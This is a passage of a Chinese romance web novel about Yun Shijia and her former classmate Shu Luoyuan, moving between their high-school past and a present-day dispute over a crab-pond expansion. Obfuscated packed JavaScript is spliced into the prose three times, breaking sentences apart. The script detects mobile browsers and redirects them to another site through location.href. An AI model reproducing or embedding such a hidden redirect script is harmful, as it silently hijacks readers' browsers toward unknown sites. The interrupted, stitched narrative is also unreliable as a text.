“不不不,这不能收,云诗加妈妈,您不用这样,我不过是觉得孩子努力,举手之劳,也是我作为一个教育者的初心……” 云画素来不会油嘴滑舌地交际,见老师拒绝,也不会说别的,只一味说: “谢谢您,您收下吧、收下吧……” 卢飞雁老师已经退到了墙角,云诗加的脸上像被滚水泼过一样,火辣辣的疼。 她羞耻于送礼的寒酸,羞耻于母亲不合时宜的笨嘴拙舌,更无法面对内心深处那点无所遁形的自卑。 她只能低着头不说话。 一切僵持着。 突然,办公室门被推开,门上被人象征性地“咚咚”敲了一声。 随后探进来一张脸。 云诗加回头看了一眼,只觉得一股热血轰地冲上头顶,脸颊瞬间燃烧起来,她几乎本能地又迅速低下头去。 “卢老师,我来提前给您拜个早年啦!我爸特地叮嘱我拿过来,说感谢您对我的关照。自家蟹塘里的土特产,不是什么贵重的东西,蒸熟了就能吃,您别嫌弃。” 卢飞雁尬笑着:“今天怎么回事,一个两个的都来送礼,我们有规定的,不能收礼,你们快回去吧。舒洛原,帮我谢谢你爸爸,但这礼品不能收,还有云诗加妈妈,您也回去吧,心意我领了。” 舒洛原波澜不惊地把礼品盒放在了办公室门口光洁的地砖上,往后从容退了一步,耸了耸肩。 “老师,这蟹捞上来几个小时了,再放回去估计也活不了了,您大发慈悲把它们蒸了,也算不浪费。” 说完,他便笑着脚底抹油,跑了。 卢飞雁:“……” 云诗加灵机一动,有样学样,夺过云画手里的礼品盒,也往门口墙角一放,拉着妈妈就快步跑出了办公室。 母女两人跑过走廊,外面的放学高峰已经过去,整个校园安静下来,只有风雨的声音。 “哎呦,我刚刚太紧张了,肚子疼了,妈妈去上个厕所,你在楼下大门口等我吧。”云画捂着肚子进了转角的厕所。 云诗加晃悠悠地走下了楼梯,刚走下一楼的拐角,她的目光又猝不及防地撞上了大厅里的一双眼睛。 舒洛原身形挺拔地站在布告栏前,抬眼对她一笑。 云诗加想忘却刚刚办公室里的拉扯与窘迫,但她不用照镜子也知道,脸上又烧了起来。 舒洛原朝她摊开两侧的掌心,一副无奈状: “外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342269|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面下雨了,我没带伞,走不了。” 云诗加走下楼梯,勉强牵动嘴角,对他也扯出一个笑容:“那……等雨停。” 舒洛原朝她后面的楼梯上看了一眼,说: “卢老师没追出来吧?” 云诗加没想到他会主动提及刚才的事,怕别人听到,特意走近了他,环视一圈,密谋似的,压低声音说道: “应该没有。” 舒洛原笑得很肆意,他突然伸手探向她的额头,冰凉的手背贴上她发烫的皮肤,她瞬间一激灵,抬眼看他,但只是一瞬,他的手已经放下了。 他却仍在笑:“你脸这么红,我还以为你发烧了呢,吓我一跳。你不会是……在为刚才的事情觉得尴尬吧?” 云诗加连连摇头,把头摇得像拨浪鼓似的。 舒洛原低头问她:“摇头是什么意思?” 云诗加也低下头去:“我没发烧。” 舒洛原没再追问,“哦……” 突然一阵风很大,把雨点从雨廊下刮进了大厅,也把云诗加的发际线吹乱了,几根杂发黏在嘴唇上,她伸手捻起。 舒洛原定定看了一会儿她头顶凌乱的发包: “你这个发型……还挺可爱的。” 云诗加感觉嘴唇上的发丝怎么扯也扯不掉,像黏糊糊的糖浆,把她的嘴封存得软绵绵的,她的声音也变得软软的: “是……是么?” 这时,一阵低沉有力的引擎声由远及近,轻易地划破了风雨声,一辆银边车门的黑色轿车驶过来,停在雨廊下。 西装笔挺的中年司机下了车,撑开一把黑色长柄大伞,大风将伞面吹得波澜起伏,司机却拿捏得极稳,他小跑着进了大厅,对着舒洛原说: “不好意思,小洛,我来晚了。” 舒洛原从司机手上接过那柄雨伞,却转头递到了云诗加手里,他笑得和煦: “喏,借你,到时候还我吧,别淋湿了,容易发烧,拜拜,我先走啦。” 云诗加愣愣地接过,看着日行一善的好心少年小跑了两步,跑进漏风漏雨的雨廊下,钻进了汽车后座,司机也上了车,汽车很快驶离,消失在无边的雨幕里。 云画从楼梯上下来,看见女儿站在大厅门口,撑着一把黑色的大伞,面颊通红,眼神呆愣地望向远方,她拍了拍女儿的肩膀,问道:“怎么了?发什么呆呢?伞哪里来的?” 云诗加摇头:“没什么,同学借给我的。” “这个不就是你刚刚的那个同学吗?”云画指着门口的布告栏惊奇地说。 布告栏似乎为了迎接新年新气象重新布置过的,大红色的亮面背景图闪着偏光,遍列着梅中的辉煌成绩和教学成果。 优秀学生展示栏里,贴着十几名学生的照片,照片底下列着奖项荣誉和每个人的座右铭。 多数人都只有短短两三行,如“全国数学奥赛一等奖”“肖邦国际钢琴比赛二等奖”,单独拿出来一项,都已经足够辉煌了。 让人难以忽略的是贴在左上角第一位男生,他的照片下方列出的奖项荣誉足足占了近十行。 想是制作布告栏的平面设计师对他有所偏爱,宁愿放弃排版布局的对齐美观度,也要把他的所有奖项都展示出来。 其他人的照片大多选的是轻松的生活照,颜色绚丽,笑容灿烂。 他却是一张证件大头照,嘴角微勾,像素不高,略有些模糊和曝光,大约是他学生卡上那张大头照的翻拍版。 其他人的座右铭大多是“学海无涯”“厚积薄发”云云,他的座右铭写的却是“敬自由、平等与爱”。 云诗加定定地注视着照片里的那双眼睛,听妈妈在身后唠叨:“送了礼老师应该会好好教你的,你既然要来借读就好好读,多向这样的同学学习,多请教别人,妈妈也不要求你考多好的大学,你只要……” “我跟梅中的同学们都没那么熟。”云诗加打断妈妈的将就理论。 云诗加后来反思过年少时的种种行为和心理,她把这种不听不看不去想的乌龟行为归结为后来网络上热议的拧巴性格。 她不喜欢父母的将就,所以她时常打断他们的话,但她也不会直接戳穿他们的底层逻辑。 后来聊到爱,她也不去问,不去戳破甜蜜包裹的现实泡沫,最后也证明了,拧巴的人除了回忆什么都不会得到。 但少女有她的自得其乐,即便什么都没得到。 送礼回去的公交车上,云画打着盹,云诗加顺着车身的行进摇摇晃晃,把头抵在窗户上磕着,鞋子因为淌过站台的水塘湿透了,她却觉得快乐。 窗外雨里的人影都变得淡淡的,很模糊。 云诗加在想着,他和她,有了一个共同的秘密。 而且她还知道别人不知道的事情,他家里人叫他小洛。 5. 005 真情与假意 停好皮卡车,隔着围墙云诗加就听见金琳的大嗓门像在跟什么人争执。 “这湖又不是你家的,你说挖就挖,说建就建吗?” 云诗加进了澈园,一路走到后门,看见金琳叉着腰站在后门口跟一个男人大声说话。 黄梅天的雨下个不停,金琳的发丝潮乎乎地黏在嘴皮子上,让她的质问看起来没什么气势。 但站在金琳面前的年轻男人更没什么气势,长着一张稚嫩的娃娃脸,面对金琳的诘问,他只默默地挠了挠后脑勺,也不说话,似乎是理亏的。 看清男人的面孔,云诗加不免松了口气。 她上前拉了拉金琳的手臂,金琳本来在气头上,吓了一跳,扭头看清老板的脸,方才捂着胸口说: “云总,你可来了,他们真是不讲理,说下周就有工人进场,要把和澈园联通的那条水渠填平了,建什么生态示范区?都不跟我们打招呼,幸好我及时发现他们在偷偷测量去问了问,我看他们完全没把我们放在眼里,亏我们昨天还救了他们的人!” 云诗加打量着面前男人的神色,不像是那些不讲理的人,应当还有商量的余地,便拍了拍金琳的肩膀,安抚道:“没事,咱们好好商量。” “云总是吧?我姓尹,你叫我Jerry就好,我是昨天你们帮忙的舒总的合伙人。”尹奇睿被金琳喷得喘不过气,见她老板来了,终于舒了口气,慢条斯理说道:“我是来替舒总道谢的,没想到被抓住一顿骂……” “尹总,不好意思,我助理是个至情至性之人,在专业方面很用心,完全是为了澈园的水系着想,不是有意针对为难您,对了,昨天那位受伤的先生怎么样了?” 云诗加一边从口袋里掏出名片递给他,一边不动声色地转移话题。 尹奇睿两根手指夹过名片低头看了一眼,又抬头打量了一眼面前的女人。 长得倒是不错,瓷白的脸,水汪汪的眼睛里似乎盛着连绵的雨水一样,认真看人的时候有种说不清的疑似有情的味道,也怪不得让向来冷静自持的老舒念念不忘,甚至推脱有事让他来道谢。 他把名片收进了自己的口袋里,也没按照礼数回赠,转而挑了挑眉:“骨折了呗,没啥大事儿,休养一段时间应该就好了。” 云诗加揣摩着他轻佻的浑不在意的话意,好奇问:“昨天摔下船受伤的是你们员工?” “害,是员工就好处理了,是我们的经销合作方,估计今年的单子要黄了,”尹奇睿耸肩,仿佛说的不是自己的事情,“让老舒去操心,我不管商务这块儿。” 云诗加:“……” 合着他所谓的合伙就是各干各的,只管自己的一亩三分地。 她扬唇:“尹总的商业心态值得我学习,不知尹总负责哪一块业务?” “我只管智能养殖。”尹奇睿完全听不出她话里的嘲讽,倒是好心招呼:“瞧瞧这个雨,真是下个没完,我还真是习惯不了你们苏城的这个天气。云总,金小姐,要不要去我们茶室坐会儿休息一下?” “不了,”云诗加拒绝,“我们今天还有活儿要干,就不叨扰了,不过水系的事情还得跟您沟通一下……” “好说、好说,不如我们加个微信吧,后续沟通方便些。”尹奇睿提议。 云诗加不置可否,掏出手机,拿出平日里做乙方的基本态度,“尹总,我扫您。” 两人加上了微信。 见云诗加低头改他的备注,尹奇睿调低手机亮度,偷摸着点开她的朋友圈扫了一眼,微信名是实名的,头像风格像个中年人,基本没什么有用的个人信息,几乎全是工作转发。 他点进置顶的第一条工作宣传朋友圈一看,下方点赞区已经赫然出现了老舒的头像。 亏他还绞尽脑汁帮忙要联系方式,打算去老舒那里邀功,最好是能以此要走几个他看上已久的收藏品,谁知老舒早就已经暗度陈仓了。 那就不怪他推波助澜了。 尹奇睿瞬间在脑子里构想出一个精妙绝伦的助攻计划,没忍住“啧”了一声。 云诗加:“……?” 这位奇怪的尹总,是对她有什么不满吗,就算不满也不该当着她的面表现出来才是。 也不怪刚刚金琳对他大呼小叫的,他确实得负主要责任。 “咳咳,那个……云总,扩建生态示范区主要是我们舒总在负责,我只能帮忙传达一下消息,你有事还是找我们舒总吧,哦对了,你要是有什么智能化的操作系统需要引进的话,欢迎找我们合作,我在这方面是专业的,你看蟹塘上那个自动投喂系统、微孔增氧系统,都是我精心研发引进的……” 他说起专业便侃侃而谈,但没有一句是云诗加爱听的。 云诗加咬紧牙后根,保持仅剩的礼貌微笑说:“暂时不需要呢,谢谢您,尹总,您看,我们要清杂了,泥灰大,得把后门关起来,小心别迷了您的眼睛,我送您出去吧。” 大门一关,云诗加转过身来跟金琳对上眼,互相看透了彼此眼里的无语。 金琳斟酌开口:“要不我去找那位舒总谈谈?咱们昨天好歹出手帮忙了,他总不能恩将仇报吧?” “他不会。” 云诗加脱口而出,又觉得不妥,只能忽略掉金琳睁大的眼睛,吩咐说:“那几个清理杂草的工人,你去盯紧些,别像上次一样,把花卉误当成杂草拔了。” 金琳“欸”了一声,刚走到花窗的拐角处,又被叫住了。 “水系的事情,我会想办法的,你别管了,安心盯项目吧。” 云诗加的目光幽幽看向园墙上雨水浸润的斑驳痕迹。 金琳没发现她的出神,倒是高兴起来:“好嘞,加姐!哦不,云总!” 看着金琳蹦蹦跳跳地往水池边跑,云诗加无奈地摇了摇头。 金琳是她一手带起来的实习生,也是她力排众议从前司带到初创团队来的,私底下她们走得挺近的,但金琳突然某天郑重其事地通知她说一定要叫她云总,叫加姐容易被客户觉得她好欺负。 但金琳说归说,高兴的时候总是改不了口。 云诗加也随她去了,她爱叫什么就叫什么吧。 仗着云诗加的偏袒,金琳也学会了得寸进尺,从曲径通幽的廊道上绕到了花窗后头,探出半个头来,对着云诗加不怀好意地眨眼睛:“加姐,你跟那个舒总……是不是有什么故事啊?” 云诗加从烦乱的思绪里抽出来,目光涣散盯着花窗后头探究的脸,语气散漫,“能有什么故事,老同学罢了。” 听到这个看似轻巧的回答,联系昨日种种情景,金琳反倒脑补了一段故事,有些忧心忡忡,正色说道:“加姐,你没事儿吧?” “没事,以后跟他正常工作联系,你别多想。” 云诗加觉得自己没有嘴硬,她昨天不过是对于重逢前任这种事情没有心理准备,需要一些时间调节。 昨天匆匆一瞥,他换了发型,虽然眉宇间还是原来的那个人,但他身上的泥点把她一下子拉回到了现实,他在跟她分开的岁月里,少了许多少年气和隐隐的优越感,多了一些疲惫和沉稳。 所以,她对他没什么可留恋的。 不过是一段年少轻狂的爱情。 想到这里,她觉得自己已经做好了跟他沟通水系的准备。 但舒洛原总是不按套路出牌,她刚打开对话框开始斟酌措辞,他就先发来了消息。 【洗车费账单记得发我报销。】 云诗加想了想,顺势回复:【洗车费就不必了,舒总,有件事情跟您沟通一下,你们蟹塘的扩建会影响澈园的水系,烦请您帮忙让扩建施工团队与我的团队沟通协商一个对策,尽量在不影响澈园水系的情况下施工。】 云诗加屏息站在原地等了许久,好不容易等来了他的回复,就两个字:【好说。】 又等了片刻,没有了下文。 她气得眼皮跳动,嘴角有些抽搐。 亏她还用了敬语,拿出最好的态度,也没有仗着昨天的好人好事拿乔,他却敷衍她。 他怎么能敷衍她?! 但平静下来,她又不得不承认,过去再难搞的客户她都能巧言以对,再难商榷的合作方她都能笑脸相迎,怎么遇到舒洛原,她就气不打一处来呢? 无非是觉得他们有过一段。 云诗加,你切记切记,要拿出专业的态度,别让舒洛原瞧不起你,她心里暗暗鼓着一口气。 【那您没意见的话,我今天就跟您团队的施工方人员进行接洽了,我现在就在现场,还请您跟他们提前知会一声。】 她这段话刚发过去,舒洛原这次回复得很快,但他莫名其妙来了一句:【你手机没事吧?】 云诗加:【?】 舒洛原:【我以前怎么没觉得你对我有这么礼貌呢?您来您去的,手机要是坏了就去修,别舍不得钱,我给你报销。】 云诗加终于憋不住了,手指在屏幕上劈里啪啦一顿打字,没过脑子就点击了发送:【舒洛原,你有毛病吧?!报销你个头!】 她气得脑瓜子嗡嗡的,把手机锁屏扔进了口袋里,恨不得跨过网线去打他一顿。 就知道报销报销报销! 他这十几岁时就有的财大气粗的老毛病总是改不掉! 越想越气,她从兜里翻出车钥匙,气冲冲地往外走,绕着屋檐滴水的回廊走过水榭尽头,面前豁然开朗,她莫名其妙地想起,当年第一次加舒洛原的Q.Q时,她哭了好大一场。 云诗加是成长在二十一世纪时代洪流中的那一批孩子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342270|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 认识舒洛原的那一年,英国进行了脱欧公投,全面二孩政策实施,各类共享单车进行了大规模投放…… 外面的世界日新月异,但云诗加对这些变化是懵然无知的。 她依旧在过着将就的、上一个世纪的家庭生活。 那时候,微信尚还没有变成高中生的主流社交软件,支付功能也还在襁褓之中,微信被高中生们视为中老年人使用的聊天工具,他们依旧热衷于在Q.Q空间互相留下足迹和记录生活。 少年们的社交欲与分享欲在Q.Q空间尽数展现,尤其是梅中的学生们,各有各的自命不凡。 云诗加是偷偷抄下的Q.Q号。 涂玉棋借来了舒洛原的物理笔记就放在桌上,云诗加瞥见笔记的扉页上写着舒洛原的名字,下附一行: 重要笔记若有捡拾请联系本人Q.Q,必有重谢。 那一串抄下的九位数字夹在她某本数学错题本里,每次翻阅时都会看见,但直到她对这串数字倒背如流,她都始终没有鼓起勇气加他好友。 梅中的高三生们寒假只放不到十天假,这少到可怜的假期还会被用于补习班和完成假期作业。 但家长们都认为这很值得。 尤其是梅中的学生家长们,恨不得孩子日日泡在学校里,导致梅中不敢关门,只敢在除夕当天宣布休息一天,其余时间都将教室和学校图书馆开放给高三学生们。 在这种群体高压下,云诗加暂住到了大伯陈光华家里。 陈光华不同于弟弟陈明华,是读过书的,在梅中附近的一所小学任教,对孩子的学习也很重视,跟弟弟吃饭时听说侄女在梅中旁听,他立刻提议让她住到他就位于梅中隔壁的家里来。 一开始云诗加不愿意去,她虽然年纪小,但从小吃的亏让她深知,中年男人在酒桌上夸下的海口并不能轻信。 无奈她一向躺平的父亲不知被大伯的哪句话打通了任督二脉,亦或只是一时下不来台,总之他突如其然想树立一个支持孩子学习的人设,先斩后奏给陈光华送了一箱酒作为云诗加借住的谢礼。 这下云诗加不去也得去了。 长辈间的情分总夹着真情与假意。 趁还没过年,陈光华热心帮忙联系了她的班主任说明了她下学期不回青田中学上学的情况,然后把她带回家,给了她一个储藏间的钥匙,储藏间小到她张开双臂就能触到两边的墙壁,堆满了杂物,和一张破旧的沙发,躺平时她必须在头和脚之间选择一个来做悬空的牺牲者。 晚上,她蜷缩在那张沙发上接到了云画打来的电话,她只笑着对妈妈说,一切都好,大伯母还给她做了排骨吃。 其实大伯母是最不欢迎她的,吃饭时没给她一点好脸色,陈光华酒后的海口,最后的照顾责任分明落在了大伯母头上。 盘子里一共六块排骨,他们一家三口各两块,云诗加很懂事地没把筷子伸进那个盘子里徒增尴尬。 云诗加只能在混杂的情分里找寻理解和平衡。 后面几天,她早早出门去教室里刷题,等到夜深再轻手轻脚地回到大伯家里。 教室里的时光总是过得极快,来学校自习的同学不是很多,听说很多人都在校外上补习班,云诗加从前座几个人的议论中得知,舒洛原在Q.Q空间发布了和家人去云南旅游的照片。 某日从梅中校门口走出来时,深夜的街角路灯亮着梦一般的灯芒。 没几天就过年了,每盏路灯下都挂着鲜红的中国结和红灯笼,红艳艳的很喜庆。 梅中位于市中心,周边不少老旧民居和平房,云诗加哼着不成调的歌曲往小巷民居的后头走,心情并没有因为在大伯家的境遇变得多坏。 从卢飞雁老师在墙根下发现她的那一天起,她都愿意相信这是她幸运转折的开始,是她光明未来的起点,她愿意经历一些苦其心志劳其体肤的生活来向神明证明她的努力。 但她后来回忆,不得不承认,那个晚上也是一个转折点。 她先是听到了金属咣当的碰撞声,声音很熟悉,一些中年男人喜欢将钥匙串起来系在皮带上,走路时便会发出这种声音。 拐过一幢两层的民房,左侧巷子的幽暗尽头处,亮着一个暗红色的灯箱招牌,印着白色的字体,旅馆。 按照既定路线,云诗加应该向右拐,但因为声音过于熟悉,她往左看了一眼。 她看到了熟悉的身影。 一个身穿蓝黑色条纹POLO衫的男人,背对着她,朝尽头走去。 云诗加甚至有些惊喜,她以为父亲提前来接她回家过年。 但她想叫住陈明华的时候,她看见陈明华熟络地张开臂膀环住了旅馆前一个女人的肩。 那个女人的裙子也是红色的,红艳艳的。 6. 006 红色,眼泪。 云诗加对于那个晚上的记忆是红色的。 红色的灯笼,红色的中国结,红色的旅馆灯牌,红色的裙子。 她觉得心里也有一簇红色的火苗,扑了几次都扑不灭,终于在那两人缠绕着消失在旅馆门里时烧了起来。 她捂着胸口大口喘息,止不住地发抖。 她忘记了后来怎么跑出的那条巷子,她失去了意识。 等到她撞进一个人的怀里,条件反射说对不起的时候,才发现自己跑回了梅中的后门,脸上是湿的。 被她撞了个趔趄的正是旅行回来的舒洛原。 “你怎么了?是撞痛了吗?对不起。” 舒洛原有些无措地看着面前正在疯狂流泪的女孩。 “你为什么要说对不起?”女孩颤抖着嘴唇问他。 “因为……因为……”他的脑子一片空白,一时忘记了所有高情商的处理办法,他从未直面过这样浓烈的情绪。 “你凭什么说对不起。” 云诗加喃喃一句,绕过他继续往前快步走。 舒洛原跟了上去。 他原本是想回学校取资料的,亲戚孩子问他借竞赛资料,亲戚们还在他家里团聚聊天,他却一时全部忘却了。 他默默跟着哭得无声的女孩,隔着两三米的距离。 路灯把他们俩的影子压短又拉长,重影交叠在一起,忽明忽暗。 云诗加像是没有察觉到他,背着沉重的书包,闷头一直往前走,不知走了有多久,他听见她长长叹了一口气,停在了一家便利店前,突然转头问他:“舒洛原,你要吃烤肠吗?” 舒洛原看着她脸上干涸的泪痕,摸不着头脑,还以为自己听错了:“什么?” “烤肠,两根。” 云诗加自顾自走进便利店里,付了钱,举着两根烤肠出来了,一根递到他面前。 虽然晚饭吃得很饱,但热乎乎的烤肠,和一个流干眼泪的女孩,舒洛原扪心自问,他没法拒绝。 他接过了烤肠,看云诗加蹲坐在便利店门口的台阶上吃了起来,他进了便利店,从货架上拿了包湿纸巾付了钱。 “喏。”他把湿纸巾塞进了她怀里,蹲坐在她旁边,吃起了手里的烤肠。 烤到皮开肉绽的烤肠很好吃,他很快吃完了。 他看着她抽了抽鼻子,舌尖舔了舔被烤肠润得油滋滋的嘴唇,狼吞虎咽吃完了最后一口烤肠,她抽出一张湿纸巾先擦了擦脸颊上干涸的泪痕,然后擦了擦手,站起身把湿纸巾投进垃圾桶,划出一个漂亮的弧线。 被眼泪洗过的两只杏眼更加清晰发亮,乌黑的眼瞳像一对杏仁,但他无法忽视她拧起的两根眉毛。 头一回他有了一个奇怪的想法,想用一个熨斗把她的愁绪熨平整。 于是他略有些拙劣地问:“吃完烤肠,你想不想来个冰淇淋。” 云诗加扯着嘴角勉强笑了笑,“这么冷的天吃冰淇淋吗?” “就是要这么冷的天吃才有意思。” 舒洛原的手掌轻轻抓住她的小臂,把她带到了冰柜前,大方表示,“你挑个喜欢的,我请你。” 云诗加又抽了抽鼻子,带着鼻音瓮声说,“你吃吧。” 舒洛原挑了个最贵的牌子,拿了一个巧克力味的,一个草莓味的,付了钱,学着她刚刚的样子,把两支冰棍举在她面前晃悠。 “挑一个?”他扬眉。 云诗加没作声,选了草莓味的,坐回门口的台阶上,剥开包装纸大大咬了一口,然后张嘴斯哈斯哈地吐着冷气。 “冷么?”他觉得自己变得笨嘴拙舌起来,问着如此浅显的问题。 “嗯,冷,太冷了。” 她点了点头,缩着脖子,眼泪不自觉又流了下来,顺着嘴角滑到嘴里。 甜的草莓冰淇淋和咸的眼泪,混在一起,真是矛盾,她想。 陈明华也真是个矛盾的人。 她不愿意相信这一切,可偏偏命运的安排就是这么巧合,一定要扯破这一层遮羞布,让她直面自己本就惨淡的生活。 人人都说陈明华是个老实人,做厨师勤勤恳恳,就是爱打牌,但男人总有些癖好,也没什么,难以让人诟病。 他们还说,男人做了上门女婿,孩子不跟自己的姓,就没了挣钱动力,所以打打牌发泄一下也正常。 曾经她愿意欺骗自己,父亲还是爱自己的,他不过是一个平凡的人,无法克制自己的贪玩欲望罢了。 可是那个红裙子的女人呢? 也是他的欲望吗? 哪怕是以家庭破碎的代价。 她想不通为什么。 妈妈知道吗? 她立马浮现另一个问题。 她伏在膝盖上抽噎着,脑子乱乱的,又忍不住去想,自己哭起来的样子一定很丑,偏偏还让舒洛原瞧见了。 怎么每次出丑都有他在。 他一定是她的克星,她迁怒地怨想。 深夜的街道很安静,她听见身侧有布料摩擦的沙沙的声音,随后一条带着体温的围巾搭上了她的后颈。 准确来说,是一只空落落的羽绒服袖子,轻飘飘的,云诗加感觉自己脖子上像顶着一只大鹅的翅膀。 羽绒服外套的另一半还好端端地穿在他的身上,他抽出的一条手臂被捂在怀里,他缩起了脖子,看起来也有些狼狈。 云诗加止住了眼泪,他笑着说:“本来想把外套脱给你穿,但我里面只有一件薄衬衫,我不想大过年的出现在社会新闻上……” “什么社会新闻……” “苏城首例冻死人的新闻。”他眨了眨眼睛,哈了口冷气。 苏城的冬天向来没多冷,但她被他不好笑的幽默冷到了,勉强勾了勾嘴角。 “谢谢你,”她把脖子上的那条羽绒围巾递了回去,依旧和他并排坐着,“不过也不用以生命的代价。” 舒洛原把冷得有些麻木的手臂伸回了袖子里,拉上拉链,笑了出来,“你不哭了就好。” 云诗加突然站起来,对着便利店门口的玻璃反光照了照,若无其事地问:“你怎么不问问我为什么哭。” “你想说吗?”他的声音很柔和,像在问一个类似于今天天气好吗的寻常问题。 她叹了口气,盯着脚边的一片落叶,沉默良久。 他听见她说:“舒洛原,我能加你的Q.Q吗?” “当然可以。” 舒洛原没有明白她的脑回路,但还是老实报上了自己的Q.Q号,她把手机掏出来,摁了几下侧键,发现已经没电关机了。 “你带笔了吗?我给你写下来。”他说。 云诗加从书包侧兜摸出了一只红笔递到他手上,等到拉开书包拉链拿本子时,她却摸到了那本记着他Q.Q号的数学错题本。 她抽回手,心虚地摸了摸鼻子,“要不你写我手上吧。” 舒洛原不敢多问,他左手轻轻扶着她的掌根,提笔就写。 他的触碰,笔尖与皮肤的摩擦,都是痒痒的。 像小时候在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说完他转过头,颀长的身子在人群中依旧很优越,他的目光穿过来,投在靠南窗的两位女生身上,很自然地招呼道:“云诗加,涂玉棋,你们俩要不要吃?” 云诗加刚要说话。 涂玉棋已经蹦起来了,她跟他们不太熟,没好意思凑过去,但她早就馋了,就等这一招呼了。 “我要我要,给我两个,我给云诗加也拿一个。” 涂玉棋很快取回了两个鲜花饼,塞了一个在云诗加的嘴里,云诗加怔了一秒,嘴唇触碰到的一大片酥皮掉落在她的大腿上,她边吃边拍裤子。 垂下的目光让她突然发现课桌里的卷子堆里似乎夹了一张纸片。 她把它抽出来,是一张明信片,正面印着湛蓝色的照片,近处是宁静的湖泊与晨雾,远处是冒着白尖儿的皑皑雪山。 她的眼皮跳了一下,心脏也猛跳了一下,余光环视四周,没有人注意到她的异样,涂玉棋重新挤到了人堆里,跟他们聊起了过年的安排, 一时人声鼎沸。 她却觉得周遭都是透明的。 明信片被翻过来。 另一面画着一个简易的笑脸:) 云诗加把明信片塞进了书包的最深处,夹在一本厚重的书里,她捂着狂乱的心跳侧头看去,舒洛原被包围在人群中央,他笑容依旧,说着旅行中的有趣见闻。 “我妈非要去游船,结果那天风好大,把我妈的帽子吹掉了,她去追,差点掉进湖里去。”他说话的同时配合着夸张的动作,大家齐声笑了起来。 有的人就是天生有着让人关注和捧场的天赋与资格,舒洛原肯定算一个,他只需要寻常地说话,寻常地笑,寻常地做他自己,就会有人喜欢他。 云诗加觉得昨天红笔写过的掌心也开始发了痒。 她觉得不公平。 他是如此轻巧地、蜻蜓点水般地,在她的湖泊上皱起波澜,可他却依旧如此坦然而自在,让她找不出错处,寻不到踪迹。 7. 007 际遇 云诗加的怒气没有撑过半天,下午她在工作室的内部会议上,收到了舒洛原发来的微信消息。 【水系的事情好说,我明天就让施工的负责人联系你,不过扩建的图纸已经报规,修改的空间不大,我只能施工队配合你做一些跟不影响报规内容的调整。】 云诗加转怒为喜,刚想道谢,就看到下方又弹了一条消息。 他说:【不过,我有一个条件……】 云诗加等了片刻,许久没见他揭晓卖的关子,最终还是她没忍住,趁着设计师们在会后讨论,她刚跨出会议室的门就咬牙切齿地拨了电话过去。 电话一接通,舒洛原磁性的声音就穿透话筒直达她的耳膜,“加加。” “舒洛原,什么条件?”即使隔着话筒,云诗加也尽量保持着脸上的微笑,好让自己的声音听起来没这么生硬。 “怎么不叫我舒总了?”他的音调有些懒洋洋的。 “舒总,请问、您、有、什么、条件。”她说得很慢,几乎一个一个字往外蹦。 “咳,云总,不跟你绕圈子了,你还记得那天掉下水的那个倒霉蛋吧?” “记得,听尹总说了,是你们的合作经销方。” “对,他因为此次意外,多少有些不高兴了,不过呢,他除了经销方之外,还有一个身份……”舒洛原把尾音拖得很长。 云诗加的耐心几乎耗尽了:“嗯,什么身份?” “他是个园艺爱好者,就是云总你的专业呀,”他不装了,直抒来意,“你帮我拿回今年的订单,我就答应你的要求,怎么样?很划算吧?” 云诗加想都没想,“行,一言为定。” 舒洛原说完了正事儿,嗓音突然低沉下来,掐着点不着调的旖旎:“加加,我的人品你还不信么?” 云诗加翻了个白眼,“舒洛原,我怎么以前没发现,你怎么这么……” 她想说不要脸,但理智让她把话从嘴边咽了回去,最终吐出:“怎么这么……会做生意呢?” “谢谢夸奖,”舒洛原大方收下她违心的夸赞,刚要再聊几句有的没的,听筒里传来挂断的忙音声。 舒洛原啧了一声,抬眼看向不远处坐在沙发上翘着腿的合伙人,不耐地催促道:“你怎么还在我办公室里,你自己没有办公室吗?” 尹奇睿不满地大声嚷嚷起来:“喂,老舒,不见你这样过河拆桥的吧?” “你算哪条河?塘里的水质调控好了没?投喂饲料配比调好了没?还有坏掉的增氧机修好了没?公司这么多事儿不干,下属都找不到你,就知道在我这儿躲清闲。” 尹奇睿在他的质问声下多少有些心虚,但转念一想,又抬头挺胸地说:“不对,你不要转移话题,你就说我给你出的主意妙不妙吧?追女人你还是得学习我的办法,靠你的那点过时花样,肯定不够使。” “我不用你出主意,你别想从我这里再骗走任何一样东西了。”舒洛原看穿他的心思,淡定说道。 “一毛不拔的铁公鸡!”尹奇睿跳了脚,“你留着这么多收藏做什么,存老婆本也得有老婆才有的使吧!你这老婆还遥遥无期呢。” “你说什么?”舒洛原突然沉下脸,阴恻恻地杀过去一个眼神。 尹奇睿对他这位好友有时候还是莫名有些发怵的,他忙改口:“欸,不是不是,我说错了,你一定会抱得美人归的!” 见舒洛原恢复了往日的笑意,尹奇睿又起了贼心:“不过有一说一,老舒,我看你上次在香港拍下来的88青饼就不错,山崎55年的威士忌也还凑合,要不……” “你要是闲着没事干,就去医院帮我盯着人,这件事情你要是办好了,我把88青饼拿来直接泡茶给你喝都行。” 尹奇睿的眼睛瞬间亮了起来,“得嘞!只要老舒您的前尘旧爱漏一根头发丝儿,我都保准第一时间通知你!” 舒洛原又扫过来一眼:“什么?” 